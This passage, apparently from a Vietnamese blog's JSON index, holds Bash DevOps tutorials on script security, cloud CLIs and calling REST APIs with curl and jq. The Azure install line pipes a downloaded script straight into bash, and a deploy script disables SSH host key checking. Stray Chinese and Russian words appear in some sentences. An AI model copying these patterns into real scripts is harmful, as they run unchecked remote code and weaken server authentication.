DEPLOY_VERSION=\u0026#34;${1:-}\u0026#34; if [[ -z \u0026#34;$DEPLOY_VERSION\u0026#34; ]]; then echo \u0026#34;Usage: $0 \u0026lt;version\u0026gt;\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Example: $0 1.2.3\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # Validate version format (semver-ish) if [[ ! \u0026#34;$DEPLOY_VERSION\u0026#34; =~ ^[0-9]+\\.[0-9]+\\.[0-9]+$ ]]; then echo \u0026#34;ERROR: Invalid version format: $DEPLOY_VERSION (expected X.Y.Z)\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi # ===== DEPLOYMENT ===== log() { echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] $1\u0026#34; } log \u0026#34;Starting deployment of $APP_NAME v$DEPLOY_VERSION to $DEPLOY_ENV\u0026#34; # Deploy qua SSH ssh -i \u0026#34;$SSH_KEY\u0026#34; -o StrictHostKeyChecking=no \u0026#34;deploy@${SSH_HOST}\u0026#34; \\ \u0026#34;cd /opt/$APP_NAME \u0026amp;\u0026amp; git pull \u0026amp;\u0026amp; git checkout v$DEPLOY_VERSION \u0026amp;\u0026amp; systemctl restart $APP_NAME\u0026#34; log \u0026#34;Deployment completed successfully\u0026#34; Ghi chú triển khai Secrets management: Trong production, không dùng .env file — dùng dedicated secrets manager (Vault, AWS Secrets Manager, GCP Secret Manager). .env chỉ phù hợp cho development. Audit logging: Log tất cả thay đổi configuration và secrets access. Đáp ứng compliance requirements (SOC 2, PCI DSS). Secret rotation: Định kỳ thay đổi secrets. Script nên hỗ trợ reload secrets mà không cần restart. Minimal privileges: Tạo dedicated service accounts với minimal permissions cho mỗi script. Không dùng root khi không cần thiết. Code review: Luôn review security-focused khi review Bash scripts. Check cho hardcoded secrets, missing validation, và insecure patterns. Lời kết Bash và Security là chủ đề quan trọng trong DevOps. Từ việc quản lý secrets an toàn, validate input, quote variables, đến scan với shellcheck — mỗi bước đều giúp giảm thiểu rủi ro bảo mật.\nMột script an toàn không chỉ bảo vệ dữ liệu nhạy cảm mà còn ngăn chặn các cuộc tấn công injection và đảm bảo hệ thống ổn định.\nỞ bài tiếp theo, chúng ta sẽ tổng kết series với Best Practice trong Bash: shebang, set -euo pipefail, modular functions, logging, và test với bats.\n","date":"06/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-nineteen.webp","permalink":"/vi/posts/bash/bash-step-nineteen/","summary":"Hướng dẫn bảo mật Bash script trong DevOps: quản lý secrets, validate input, shellcheck, permission control,防止 injection, và security best practices.","tags":["bash","shell-script","devops","security","shellcheck","secrets-management","input-validation"],"title":"Bash và Security: Bảo mật script hiệu quả trong DevOps"},{"categories":["DevOps","Bash"],"content":"Bash và Cloud CLI trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách gọi REST API với curl và jq. Bây giờ, chúng ta sẽ áp dụng kỹ năng đó vào cloud — nơi Bash kết hợp với Cloud CLI để quản lý tài nguyên trên AWS, GCP, Azure một cách tự động và hiệu quả.\nKhi quản lý cloud ở quy mô lớn, click chuột trên web console không còn khả thi. Cloud CLI cho phép bạn khởi động/tắt instance, kiểm tra trạng thái, snapshot, scale — tất cả từ terminal. Và Bash là \u0026ldquo;glue\u0026rdquo; để kết nối các CLI tools này thành automation scripts mạnh mẽ.\nBài viết này sẽ hướng dẫn bạn cách thiết lập và sử dụng AWS CLI, GCP CLI, Azure CLI trong Bash, query JSON output, và xây dựng script quản lý cloud thực tế.\nCloud CLI overview Tại sao dùng Cloud CLI? Phương pháp Ưu điểm Nhược điểm Web Console Trực quan, dễ dùng Chậm, không tự động được Cloud CLI Nhanh, scriptable, tự động Cần học syntax từng cloud API trực tiếp Linh hoạt nhất Phức tạp, phải xử lý auth手动 Cloud CLI là sweet spot — đủ mạnh để tự động hóa, đủ đơn giản để học nhanh. Và Bash là công cụ hoàn hảo để orchestrate nhiều CLI tools.\nInstall và authentication Mỗi cloud provider có CLI tool riêng:\n1 2 3 4 5 6 7 8 9 10 11 # AWS CLI curl \u0026#34;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\u0026#34; -o \u0026#34;awscliv2.zip\u0026#34; unzip awscliv2.zip sudo ./aws/install # GCP CLI curl https://dl.google.com/dl/cloudsdk/channels/rapid/downloads/google-cloud-cli-linux-x86_64.tar.gz | tar xz ./google-cloud-sdk/install.sh # Azure CLI curl -sL https://aka.ms/InstallAzureCli | bash Sau khi cài, mỗi cloud cần authentication:\n1 2 3 4 5 6 7 8 9 10 11 # AWS: cấu hình credentials aws configure # Nhập Access Key ID, Secret Access Key, Region, Output format # GCP: login bằng browser gcloud auth login gcloud config set project \u0026lt;your-project-id\u0026gt; # Azure: login bằng browser az login az account set --subscription \u0026lt;your-subscription-id\u0026gt; Query JSON output Tất cả cloud CLI đều support output JSON — và kết hợp với jq (từ bài trước), bạn có thể filter và transform data dễ dàng.\nAWS CLI 1 2 3 4 5 6 7 8 9 10 11 12 # Liệt kê tất cả EC2 instances đang chạy aws ec2 describe-instances \\ --query \u0026#39;Reservations[].Instances[?State.Name==`running`].[InstanceId,InstanceType,PrivateIpAddress]\u0026#39; \\ --output table # Dùng jq để filter chi tiết hơn aws ec2 describe-instances | jq -r \u0026#39;.Reservations[].Instances[] | select(.State.Name == \u0026#34;running\u0026#34;) | [.InstanceId, .InstanceType, .PrivateIpAddress] | @tsv\u0026#39; # Lấy AMI mới nhất aws ec2 describe-images --owners self \\ --query \u0026#39;Images | sort_by(@, \u0026amp;CreationDate) | [-1].[ImageId,Name]\u0026#39; \\ --output text GCP CLI 1 2 3 4 5 6 7 8 9 # Liệt kê VM instances đang chạy gcloud compute instances list --filter=\u0026#34;status=RUNNING\u0026#34; \\ --format=\u0026#34;table(name, zone, machineType.basename(), status)\u0026#34; # Lấy external IP gcloud compute instances list --format=\u0026#34;value(name, networkInterfaces[0].accessConfigs[0].natIP)\u0026#34; | awk \u0026#39;{print $1\u0026#34;: \u0026#34;$2}\u0026#39; # Query disks gcloud compute disks list --format=\u0026#34;json\u0026#34; | jq \u0026#39;.[] | {name, sizeGb, status}\u0026#39; Azure CLI 1 2 3 4 5 6 7 8 # Liệt kê VMs đang chạy az vm list --query \u0026#34;[?powerState==\u0026#39;VM running\u0026#39;].[name, resourceGroup, hardwareProfile.vmSize]\u0026#34; --output table # Lấy public IP az network public-ip list --query \u0026#34;[?ipConfiguration!=null].[name, ipAddress]\u0026#34; --output table # Query app services az webapp list --query \u0026#34;[].{name:name, state:state, plan:appServicePlan}\u0026#34; --output table Ví dụ thực hành: Cloud health checker Script kiểm tra trạng thái tài nguyên trên cả 3 cloud provider:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 #!/usr/bin/env bash # ============================================================================== # Script : cloud-health-checker.sh # Mục đích: Kiểm tra trạng thái tài nguyên trên AWS, GCP, Azure # ============================================================================== set -euo pipefail readonly LOG_FILE=\u0026#34;/var/log/cloud-health.log\u0026#34; readonly TIMESTAMP=$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;) readonly SLACK_WEBHOOK=\u0026#34;${SLACK_WEBHOOK:-}\u0026#34; # Cloud provider flags (bật/tắt theo config) readonly CHECK_AWS=\u0026#34;${CHECK_AWS:-false}\u0026#34; readonly CHECK_GCP=\u0026#34;${CHECK_GCP:-false}\u0026#34; readonly CHECK_AZURE=\u0026#34;${CHECK_AZURE:-false}\u0026#34; # AWS config readonly AWS_REGION=\u0026#34;${AWS_REGION:-ap-southeast-1}\u0026#34; export AWS_DEFAULT_OUTPUT=\u0026#34;json\u0026#34; # GCP config readonly GCP_PROJECT=\u0026#34;${GCP_PROJECT:-}\u0026#34; # Azure config readonly AZURE_SUBSCRIPTION=\u0026#34;${AZURE_SUBSCRIPTION:-}\u0026#34; # Logging log() { local level=\u0026#34;$1\u0026#34; local message=\u0026#34;$2\u0026#34; echo \u0026#34;[$TIMESTAMP] [$level] $message\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; } # Slack notification notify_slack() { local message=\u0026#34;$1\u0026#34; if [[ -n \u0026#34;$SLACK_WEBHOOK\u0026#34; ]]; then curl -s -X POST -H \u0026#39;Content-type: application/json\u0026#39; \\ --data \u0026#34;{\\\u0026#34;text\\\u0026#34;:\\\u0026#34;${message}\\\u0026#34;}\u0026#34; \u0026#34;$SLACK_WEBHOOK\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 fi } # AWS: Kiểm tra EC2 instances check_aws_ec2() { log \u0026#34;INFO\u0026#34; \u0026#34;Checking AWS EC2 instances...\u0026#34; local instances instances=$(aws ec2 describe-instances --region \u0026#34;$AWS_REGION\u0026#34; 2\u0026gt;/dev/null || echo \u0026#39;{\u0026#34;Reservations\u0026#34;:[]}\u0026#39;) local running_count running_count=$(echo \u0026#34;$instances\u0026#34; | jq \u0026#39;[.Reservations[].Instances[] | select(.State.Name == \u0026#34;running\u0026#34;)] | length\u0026#39;) local stopped_count stopped_count=$(echo \u0026#34;$instances\u0026#34; | jq \u0026#39;[.Reservations[].Instances[] | select(.State.Name == \u0026#34;stopped\u0026#34;)] | length\u0026#39;) log \u0026#34;INFO\u0026#34; \u0026#34;AWS EC2: $running_count running, $stopped_count stopped\u0026#34; # Kiểm tra instances stopped bất thường local stopped_instances stopped_instances=$(echo \u0026#34;$instances\u0026#34; | jq -r \u0026#39;.Reservations[].Instances[] | select(.State.Name == \u0026#34;stopped\u0026#34;) | .InstanceId\u0026#39;) if [[ -n \u0026#34;$stopped_instances\u0026#34; ]]; then while IFS= read -r instance_id; do log \u0026#34;WARN\u0026#34; \u0026#34;Instance $instance_id is stopped\u0026#34; notify_slack \u0026#34;AWS Alert: Instance $instance_id is stopped\u0026#34; done \u0026lt;\u0026lt;\u0026lt; \u0026#34;$stopped_instances\u0026#34; fi } # GCP: Kiểm tra VM instances check_gcp_compute() { log \u0026#34;INFO\u0026#34; \u0026#34;Checking GCP Compute instances...\u0026#34; local instances instances=$(gcloud compute instances list --project \u0026#34;$GCP_PROJECT\u0026#34; --format=json 2\u0026gt;/dev/null || echo \u0026#39;[]\u0026#39;) local running_count running_count=$(echo \u0026#34;$instances\u0026#34; | jq \u0026#39;[.[] | select(.status == \u0026#34;RUNNING\u0026#34;)] | length\u0026#39;) local stopped_count stopped_count=$(echo \u0026#34;$instances\u0026#34; | jq \u0026#39;[.[] | select(.status == \u0026#34;TERMINATED\u0026#34;)] | length\u0026#39;) log \u0026#34;INFO\u0026#34; \u0026#34;GCP Compute: $running_count running, $stopped_count terminated\u0026#34; } # Azure: Kiểm tra VMs check_azure_vms() { log \u0026#34;INFO\u0026#34; \u0026#34;Checking Azure VMs...\u0026#34; az account set --subscription \u0026#34;$AZURE_SUBSCRIPTION\u0026#34; 2\u0026gt;/dev/null || true local vms vms=$(az vm list --query \u0026#34;[].{name:name, state:powerState, group:resourceGroup}\u0026#34; --output json 2\u0026gt;/dev/null || echo \u0026#39;[]\u0026#39;) local running_count running_count=$(echo \u0026#34;$vms\u0026#34; | jq \u0026#39;[.[] | select(.state | contains(\u0026#34;running\u0026#34;))] | length\u0026#39;) local stopped_count stopped_count=$(echo \u0026#34;$vms\u0026#34; | jq \u0026#39;[.[] | select(.state | contains(\u0026#34;deallocated\u0026#34;))] | length\u0026#39;) log \u0026#34;INFO\u0026#34; \u0026#34;Azure VMs: $running_count running, $stopped_count deallocated\u0026#34; } # Main main() { log \u0026#34;INFO\u0026#34; \u0026#34;=== Cloud Health Check Started ===\u0026#34; if [[ \u0026#34;$CHECK_AWS\u0026#34; == \u0026#34;true\u0026#34; ]]; then check_aws_ec2 fi if [[ \u0026#34;$CHECK_GCP\u0026#34; == \u0026#34;true\u0026#34; ]]; then check_gcp_compute fi if [[ \u0026#34;$CHECK_AZURE\u0026#34; == \u0026#34;true\u0026#34; ]]; then check_azure_vms fi log \u0026#34;INFO\u0026#34; \u0026#34;=== Cloud Health Check Completed ===\u0026#34; } main \u0026#34;$@\u0026#34; Chạy script 1 2 3 4 5 6 7 8 9 10 11 # Bật check AWS và GCP CHECK_AWS=true CHECK_GCP=true bash cloud-health-checker.sh # Output mẫu # [2026-09-05 10:00:00] [INFO] === Cloud Health Check Started === # [2026-09-05 10:00:01] [INFO] Checking AWS EC2 instances... # [2026-09-05 10:00:02] [INFO] AWS EC2: 5 running, 1 stopped # [2026-09-05 10:00:02] [WARN] Instance i-0987654321fedcba0 is stopped # [2026-09-05 10:00:03] [INFO] Checking GCP Compute instances... # [2026-09-05 10:00:04] [INFO] GCP Compute: 3 running, 0 terminated # [2026-09-05 10:00:04] [INFO] === Cloud Health Check Completed === Automation tasks phổ biến Snapshot EC2 instances (AWS) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/usr/bin/env bash # Tạo snapshot cho tất cả EBS volumes attached to running instances set -euo pipefail REGION=\u0026#34;${1:-ap-southeast-1}\u0026#34; echo \u0026#34;Getting running instances in $REGION...\u0026#34; # Lấy danh sách volume IDs từ instances đang chạy VOLUME_IDS=$(aws ec2 describe-instances --region \u0026#34;$REGION\u0026#34; \\ --query \u0026#39;Reservations[].Instances[?State.Name==`running`].BlockDeviceMappings[].Ebs.VolumeId\u0026#39; \\ --output text | tr \u0026#39;\\t\u0026#39; \u0026#39;\\n\u0026#39; | sort -u) for vol_id in $VOLUME_IDS; do echo \u0026#34;Creating snapshot for volume: $vol_id\u0026#34; aws ec2 create-snapshot \\ --volume-id \u0026#34;$vol_id\u0026#34; \\ --description \u0026#34;Auto-snapshot $(date +%Y-%m-%d)\u0026#34; \\ --tag-specifications \u0026#34;ResourceType=snapshot,Tags=[{Key=AutoBackup,Value=true}]\u0026#34; \\ --region \u0026#34;$REGION\u0026#34; \u0026gt; /dev/null echo \u0026#34;Snapshot created for $vol_id\u0026#34; done echo \u0026#34;All snapshots completed\u0026#34; Auto-scale VMs based on CPU (GCP) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!/usr/bin/env bash # Tự động scale GCP instance group khi CPU \u0026gt; 80% set -euo pipefail PROJECT=\u0026#34;${GCP_PROJECT:-my-project}\u0026#34; ZONE=\u0026#34;${GCP_ZONE:-asia-southeast1-a}\u0026#34; INSTANCE_GROUP=\u0026#34;${INSTANCE_GROUP:-web-server-group}\u0026#34; CPU_THRESHOLD=80 # Lấy CPU utilization CPU_USAGE=$(gcloud monitoring time-series list \\ --filter=\u0026#39;metric.type=\u0026#34;compute.googleapis.com/instance/cpu/utilization\u0026#34;\u0026#39; \\ --interval-start-time=\u0026#34;-PT5M\u0026#34; \\ --format=\u0026#34;value(points[0].value.doubleValue)\u0026#34; 2\u0026gt;/dev/null | head -1 || echo \u0026#34;0\u0026#34;) # Convert to percentage CPU_PERCENT=$(echo \u0026#34;$CPU_USAGE * 100\u0026#34; | bc 2\u0026gt;/dev/null | cut -d. -f1 || echo \u0026#34;0\u0026#34;) echo \u0026#34;Current CPU: ${CPU_PERCENT}%\u0026#34; if (( CPU_PERCENT \u0026gt; CPU_THRESHOLD )); then echo \u0026#34;CPU above threshold, scaling up...\u0026#34; gcloud instance-groups managed set-autoscaling \u0026#34;$INSTANCE_GROUP\u0026#34; \\ --zone=\u0026#34;$ZONE\u0026#34; \\ --project=\u0026#34;$PROJECT\u0026#34; \\ --min-num-replicas=2 \\ --max-num-replicas=10 \\ --target-cpu-utilization=0.7 else echo \u0026#34;CPU normal, no action needed\u0026#34; fi Stop all VMs sau giờ làm việc (Azure) 1 2 3 4 5 6 7 8 9 10 11 12 13 #!/usr/bin/env bash # Tắt tất cả VMs trong resource group (dùng cho dev/test environment) set -euo pipefail RESOURCE_GROUP=\u0026#34;${1:?Usage: $0 \u0026lt;resource-group\u0026gt;}\u0026#34; echo \u0026#34;Stopping all VMs in resource group: $RESOURCE_GROUP\u0026#34; az vm stop --resource-group \u0026#34;$RESOURCE_GROUP\u0026#34; --no-wait echo \u0026#34;Stop command sent. Check status with:\u0026#34; echo \u0026#34; az vm list -g $RESOURCE_GROUP --query \u0026#39;[].{name:name, state:powerState}\u0026#39; --output table\u0026#34; Multi-cloud script pattern Khi quản lý nhiều cloud, важно abstraction layer để script không bị lock-in:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/usr/bin/env bash # ============================================================================== # Abstract layer cho multi-cloud operations # ============================================================================== # Detect cloud provider từ instance metadata detect_cloud() { if curl -s --connect-timeout 1 http://169.254.169.254/latest/meta-data/ \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;aws\u0026#34; elif curl -s --connect-timeout 1 -H \u0026#34;Metadata-Flavor: Google\u0026#34; http://metadata.google.internal/computeMetadata/v1/ \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;gcp\u0026#34; elif curl -s --connect-timeout 1 http://169.254.169.254/metadata/instance?api-version=2021-02-01 \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;azure\u0026#34; else echo \u0026#34;unknown\u0026#34; fi } # Get instance ID theo cloud provider get_instance_id() { local cloud=\u0026#34;$1\u0026#34; case \u0026#34;$cloud\u0026#34; in aws) curl -s http://169.254.169.254/latest/meta-data/instance-id ;; gcp) curl -s -H \u0026#34;Metadata-Flavor: Google\u0026#34; http://metadata.google.internal/computeMetadata/v1/instance/name ;; azure) curl -s -H \u0026#34;Metadata: true\u0026#34; \u0026#34;http://169.254.169.254/metadata/instance/compute/name?api-version=2021-02-01\u0026#34; | tr -d \u0026#39;\u0026#34;\u0026#39; ;; esac } # Usage CLOUD=$(detect_cloud) INSTANCE_ID=$(get_instance_id \u0026#34;$CLOUD\u0026#34;) echo \u0026#34;Running on $CLOUD, instance: $INSTANCE_ID\u0026#34; Ghi chú triển khai Security: Luôn lưu credentials trong profile files (~/.aws/credentials, ~/.config/gcloud/, ~/.azure/), không hardcode trong script. Dùng IAM roles/service accounts khi có thể. Rate limiting: Cloud APIs có rate limits. AWS: 100-200 requests/second, GCP: varies, Azure: varies. Add sleep hoặc retry logic khi gọi API密集. Cost awareness: Một số API calls có phí (như describe-instances trên AWS). Monitor AWS Cost Explorer hoặc equivalent để tránh bất ngờ. Error handling: Cloud CLI có thể fail vì nhiều lý do (network, permission, throttle). Luôn check exit code và log chi tiết. Parallel execution: Khi quản lý nhiều resources, dùng parallel execution để tăng tốc, nhưng cẩn thận rate limit. Lời kết Bash và Cloud CLI là combination cực kỳ mạnh mẽ trong DevOps. Từ việc query JSON output với jq, tự động hóa snapshot/scale, đến multi-cloud management — tất cả đều có thể thực hiện chỉ với Bash script.\nVới pattern vendor-neutral như trên, bạn có thể viết scripts chạy trên bất kỳ cloud provider nào mà không bị lock-in.\nỞ bài tiếp theo, chúng ta sẽ khám phá Bash và Security: cách bảo mật script, validate input, manage secrets, và scan với shellcheck.\n","date":"05/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-eighteen.webp","permalink":"/vi/posts/bash/bash-step-eighteen/","summary":"Hướng dẫn quản lý cloud bằng Bash và CLI tools: AWS CLI, GCP CLI, Azure CLI — authentication, query JSON output, tự động hóa EC2/VM/app service.","tags":["bash","shell-script","devops","aws-cli","gcloud","azure-cli","cloud-automation"],"title":"Bash và Cloud CLI: Quản lý cloud hiệu quả với AWS, GCP, Azure"},{"categories":["DevOps","Bash"],"content":"Bash và REST API trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách tối ưu hiệu suất với Parallel Execution. Bây giờ, chúng ta sẽ kết hợp Bash với REST API — cầu nối để giao tiếp với hầu hết mọi dịch vụ hiện đại: từ GitHub, Slack, Jira, đến monitoring dashboard và CI/CD platform.\nTrong DevOps, API là cách để lấy dữ liệu, kiểm tra trạng thái, hay điều khiển hệ thống từ xa. Và Bash là công cụ hoàn hảo để gọi API — curl có sẵn trên mọi server, jq parse JSON cực nhanh, và bạn có thể tích hợp vào bất kỳ script nào mà không cần cài thêm thư viện hay framework.\nBài viết này sẽ hướng dẫn bạn cách gọi API với curl, parse JSON response với jq, xử lý authentication, retry logic, và một script thực hành tự động tạo GitHub Issue khi deploy thất bại.\nGọi API với curl Các method cơ bản 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # GET — lấy dữ liệu curl -s \u0026#34;https://api.example.com/status\u0026#34; # POST — tạo dữ liệu mới curl -s -X POST \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;title\u0026#34;: \u0026#34;Bug report\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;Something went wrong\u0026#34;}\u0026#39; \\ \u0026#34;https://api.example.com/issues\u0026#34; # PUT — cập nhật dữ liệu curl -s -X PUT \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;status\u0026#34;: \u0026#34;resolved\u0026#34;}\u0026#39; \\ \u0026#34;https://api.example.com/issues/42\u0026#34; # DELETE — xóa dữ liệu curl -s -X DELETE \u0026#34;https://api.example.com/issues/42\u0026#34; Headers và authentication 1 2 3 4 5 6 7 8 9 10 11 12 # Bearer token (phổ biến nhất) curl -s -H \u0026#34;Authorization: Bearer $API_TOKEN\u0026#34; \\ \u0026#34;https://api.example.com/me\u0026#34; # Basic auth curl -s -u \u0026#34;username:password\u0026#34; \\ \u0026#34;https://api.example.com/private\u0026#34; # Custom headers curl -s -H \u0026#34;Accept: application/vnd.github.v3+json\u0026#34; \\ -H \u0026#34;X-Custom-Header: value\u0026#34; \\ \u0026#34;https://api.example.com/data\u0026#34; Flag quan trọng Flag Ý nghĩa Khi nào dùng -s Silent — ẩn progress bar Luôn dùng trong script -S Show error khi dùng với -s Luôn dùng kèm -s -f Fail silently trên HTTP error Tránh parse error page -w \u0026quot;%{http_code}\u0026quot; Xuất HTTP status code Kiểm tra response status -o /dev/null ẩn output body Chỉ cần check status -L Theo dõi redirect API trả về 301/302 --connect-timeout Timeout kết nối Tránh treo vô hạn --retry 3 Tự retry khi fail Xử lý network blip 1 2 3 4 5 6 7 8 9 10 # Ví dụ: Kiểm tra API health với timeout và retry HTTP_CODE=$(curl -s -o /dev/null -w \u0026#34;%{http_code}\u0026#34; \\ --connect-timeout 5 --retry 3 --retry-delay 2 \\ \u0026#34;https://api.example.com/health\u0026#34;) if [[ \u0026#34;$HTTP_CODE\u0026#34; -eq 200 ]]; then echo \u0026#34;API is healthy\u0026#34; else echo \u0026#34;API returned status $HTTP_CODE\u0026#34; fi Parse JSON với jq jq là công cụ line-oriented processor cho JSON — cực kỳ mạnh mẽ khi kết hợp với curl.\nCài đặt 1 2 3 4 5 6 7 8 # Debian/Ubuntu apt-get install -y jq # CentOS/RHEL yum install -y jq # macOS brew install jq Các thao tác cơ bản 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # Trích xuất giá trị đơn giản echo \u0026#39;{\u0026#34;name\u0026#34;: \u0026#34;myapp\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2.1.0\u0026#34;}\u0026#39; | jq -r \u0026#39;.name\u0026#39; # Output: myapp # Trích xuất nested value echo \u0026#39;{\u0026#34;repo\u0026#34;: {\u0026#34;owner\u0026#34;: \u0026#34;org\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;api\u0026#34;}}\u0026#39; | jq -r \u0026#39;.repo.name\u0026#39; # Output: api # Lấy array elements echo \u0026#39;{\u0026#34;tags\u0026#34;: [\u0026#34;dev\u0026#34;, \u0026#34;prod\u0026#34;, \u0026#34;staging\u0026#34;]}\u0026#39; | jq -r \u0026#39;.tags[]\u0026#39; # Output: # dev # prod # staging # Đếm phần tử array echo \u0026#39;{\u0026#34;users\u0026#34;: [{\u0026#34;id\u0026#34;:1},{\u0026#34;id\u0026#34;:2},{\u0026#34;id\u0026#34;:3}]}\u0026#39; | jq \u0026#39;.users | length\u0026#39; # Output: 3 # Filter array echo \u0026#39;[{\u0026#34;name\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;status\u0026#34;:\u0026#34;ok\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;b\u0026#34;,\u0026#34;status\u0026#34;:\u0026#34;fail\u0026#34;}]\u0026#39; | jq \u0026#39;[.[] | select(.status == \u0026#34;fail\u0026#34;)]\u0026#39; # Output: [{\u0026#34;name\u0026#34;:\u0026#34;b\u0026#34;,\u0026#34;status\u0026#34;:\u0026#34;fail\u0026#34;}] # Transform data echo \u0026#39;{\u0026#34;first\u0026#34;:\u0026#34;John\u0026#34;,\u0026#34;last\u0026#34;:\u0026#34;Doe\u0026#34;}\u0026#39; | jq \u0026#39;{fullName: \u0026#34;\\(.first) \\(.last)\u0026#34;}\u0026#39; # Output: {\u0026#34;fullName\u0026#34;: \u0026#34;John Doe\u0026#34;} Kết hợp curl + jq 1 2 3 4 5 6 7 8 9 10 11 12 13 # Lấy tên repo và star count từ GitHub API REPO_INFO=$(curl -s \u0026#34;https://api.github.com/repos/cli/cli\u0026#34;) NAME=$(echo \u0026#34;$REPO_INFO\u0026#34; | jq -r \u0026#39;.full_name\u0026#39;) STARS=$(echo \u0026#34;$REPO_INFO\u0026#34; | jq -r \u0026#39;.stargazers_count\u0026#39;) echo \u0026#34;$NAME has $STARS stars\u0026#34; # Lấy danh sách open issues curl -s \u0026#34;https://api.github.com/repos/owner/repo/issues?state=open\u0026#34; | \\ jq -r \u0026#39;.[] | \u0026#34;[\\(.number)] \\(.title)\u0026#34;\u0026#39; # Lấy commit message mới nhất curl -s \u0026#34;https://api.github.com/repos/owner/repo/commits?per_page=1\u0026#34; | \\ jq -r \u0026#39;.[0] | \u0026#34;\\(.commit.author.name): \\(.commit.message)\u0026#34;\u0026#39; Retry logic trong Bash Khi gọi API từ script, network có thể bị intermittent failure. Retry logic giúp script tự động thử lại:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # Hàm retry cơ bản retry() { local max_attempts=\u0026#34;$1\u0026#34; local delay=\u0026#34;$2\u0026#34; shift 2 local cmd=(\u0026#34;$@\u0026#34;) for ((attempt=1; attempt\u0026lt;=max_attempts; attempt++)); do if \u0026#34;${cmd[@]}\u0026#34;; then return 0 fi echo \u0026#34;[WARN] Attempt $attempt/$max_attempts failed, retrying in ${delay}s...\u0026#34; \u0026gt;\u0026amp;2 sleep \u0026#34;$delay\u0026#34; done echo \u0026#34;[ERROR] All $max_attempts attempts failed\u0026#34; \u0026gt;\u0026amp;2 return 1 } # Sử dụng retry 3 2 curl -s \u0026#34;https://api.example.com/flaky-endpoint\u0026#34; Retry với exponential backoff 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 retry_with_backoff() { local max_attempts=\u0026#34;${1:-3}\u0026#34; local base_delay=\u0026#34;${2:-1}\u0026#34; shift 2 local cmd=(\u0026#34;$@\u0026#34;) for ((attempt=1; attempt\u0026lt;=max_attempts; attempt++)); do if \u0026#34;${cmd[@]}\u0026#34;; then return 0 fi local delay=$((base_delay * (2 ** (attempt - 1)))) echo \u0026#34;[WARN] Attempt $attempt/$max_attempts failed, retrying in ${delay}s...\u0026#34; \u0026gt;\u0026amp;2 sleep \u0026#34;$delay\u0026#34; done return 1 } # Sử dụng: retry 3 lần, delay 1s → 2s → 4s retry_with_backoff 3 1 curl -s \u0026#34;https://api.example.com/data\u0026#34; Ví dụ thực hành: Tự động tạo GitHub Issue khi deploy thất bại 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 #!/usr/bin/env bash # ============================================================================== # Script : github-issue-on-failure.sh # Mục đích: Tự động tạo GitHub Issue khi pipeline deploy thất bại # ============================================================================== set -euo pipefail # Cấu hình readonly GITHUB_TOKEN=\u0026#34;${GITHUB_TOKEN:?GITHUB_TOKEN is required}\u0026#34; readonly GITHUB_REPO=\u0026#34;${GITHUB_REPO:?GITHUB_REPO is required (owner/repo)}\u0026#34; readonly API_BASE=\u0026#34;https://api.github.com/repos/${GITHUB_REPO}\u0026#34; readonly SLACK_WEBHOOK=\u0026#34;${SLACK_WEBHOOK:-}\u0026#34; # Thông tin pipeline (từ CI/CD environment) readonly PIPELINE_URL=\u0026#34;${CI_PIPELINE_URL:-${BUILD_URL:-unknown}}\u0026#34; readonly COMMIT_SHA=\u0026#34;${CI_COMMIT_SHA:-$(git rev-parse --short HEAD 2\u0026gt;/dev/null || echo \u0026#39;unknown\u0026#39;)}\u0026#34; readonly COMMIT_MSG=\u0026#34;${CI_COMMIT_MESSAGE:-$(git log -1 --pretty=%B 2\u0026gt;/dev/null || echo \u0026#39;unknown\u0026#39;)}\u0026#34; readonly 